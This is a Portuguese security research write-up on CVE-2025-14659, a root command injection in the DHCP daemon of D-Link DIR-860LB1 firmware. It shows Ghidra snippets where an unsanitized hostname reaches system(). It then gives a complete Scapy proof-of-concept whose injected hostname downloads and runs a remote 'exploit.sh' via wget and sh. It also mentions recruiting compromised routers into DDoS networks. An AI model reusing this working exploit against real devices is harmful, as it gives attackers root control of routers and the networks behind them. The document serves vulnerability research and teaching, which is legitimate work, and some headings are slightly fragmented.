
Análise estática (Ghidra) e criação personalizada de pacotes (Scapy) demonstrando uma vulnerabilidade de injeção de comando DHCP em nível de root (CVE-2025-14659) no firmware D-Link
Autor: Peter Lin
Data: Maio de 2026
Proposta do Projeto: CVE-2025-14659 relatou uma vulnerabilidade de injeção de comandos direcionada ao componente daemon DHCP presente no roteador wireless D-Link DIR-860LB1 executando o firmware v203b03. Essa injeção de comandos pode permitir que um atacante execute comandos arbitrários com privilégios de root nesse roteador alvo quando um cliente DHCP renova uma concessão existente com um hostname malicioso. Vou extrair o firmware do dispositivo DIR-860LB1 e identificar a falha presente no daemon DHCP (udhcpd) por meio de análise estática usando o Ghidra. Em seguida, utilizarei um mecanismo de emulação como o FirmAE para emular o ambiente desse roteador, demonstrando um ataque de prova de conceito contra esse alvo.
udhcpd (Daemon DHCP)Observando a função udhcpd_main no Ghidra, a vulnerabilidade está bem dentro do bloco case 3 (DHCPREQUEST):
get_option(auStack_254, 0xc).sprintf():
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system() sem sanitizar caracteres de shell:
system(acStack_454);
Como o daemon é executado como root, adicionar metacaracteres de shell (como ; ou |) no hostname permite que um atacante execute comandos arbitrários do sistema.
cve_poc.py)Este script funcional em Scapy simula um cliente malicioso solicitando a renovação de uma concessão com um payload de hostname injetado:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
Se explorada em ambiente real, um atacante pode usar essa vulnerabilidade para:
/tmp) para recrutar o hardware em redes DDoS.Aviso Legal: Este projeto foi criado estritamente para fins educacionais, construção de portfólio e pesquisa de segurança defensiva.